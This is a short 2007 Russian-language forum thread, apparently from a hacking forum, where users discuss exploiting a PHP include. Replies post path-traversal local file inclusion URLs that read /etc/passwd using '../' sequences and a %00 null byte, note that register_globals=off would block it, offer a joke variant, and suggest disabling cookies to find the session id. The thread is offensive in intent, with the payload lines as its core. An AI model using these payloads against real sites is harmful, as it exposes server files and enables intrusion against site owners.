include

Discussion in 'PHP' started by guest3297, 20 Jun 2007.

  1. guest3297

    guest3297 Banned

    Joined:
    27 Jun 2006
    Messages:
    1,246
    Likes Received:
    639
    Reputations:
    817
    у кого какие мысли?
    можно раздрочить?
     
    #1 guest3297, 20 Jun 2007
  2. hhover

    hhover Elder - Старейшина

    Joined:
    21 May 2007
    Messages:
    60
    Likes Received:
    36
    Reputations:
    11
    Code:
    /script.php?sid=1&session_chat[1][asp_login]=../../../../../etc/passwd%00
     
    #2 hhover, 20 Jun 2007
  3. _Great_

    _Great_ Elder - Старейшина

    Joined:
    27 Dec 2005
    Messages:
    2,032
    Likes Received:
    1,118
    Reputations:
    1,139
    hhover, здорово, только вот если register_globals=off...
     
    #3 _Great_, 20 Jun 2007
  4. KEZ

    KEZ Ненасытный школьник

    Joined:
    18 May 2005
    Messages:
    1,604
    Likes Received:
    754
    Reputations:
    397
    надо тогда так
    Code:
    /script.php?REGISTER_GLOBALS=ON&sid=1&session_chat[1][asp_login]=../../../../../etc/passwd%00
    =\\\\\\\
     
    #4 KEZ, 20 Jun 2007
    1 person likes this.
  5. SMiX

    SMiX Elder - Старейшина

    Joined:
    25 Jul 2005
    Messages:
    227
    Likes Received:
    55
    Reputations:
    29
    Ну просто отрубаем куки и смотрим sid в адресах ссылок на странице.
     
    #5 SMiX, 20 Jun 2007
  6. GreenBear

    GreenBear наркоман с медалью

    Joined:
    7 May 2005
    Messages:
    2,548
    Likes Received:
    1,397
    Reputations:
    612
    кез, ты забыл ini_set )
     
    #6 GreenBear, 20 Jun 2007
(You must log in or sign up to post here.)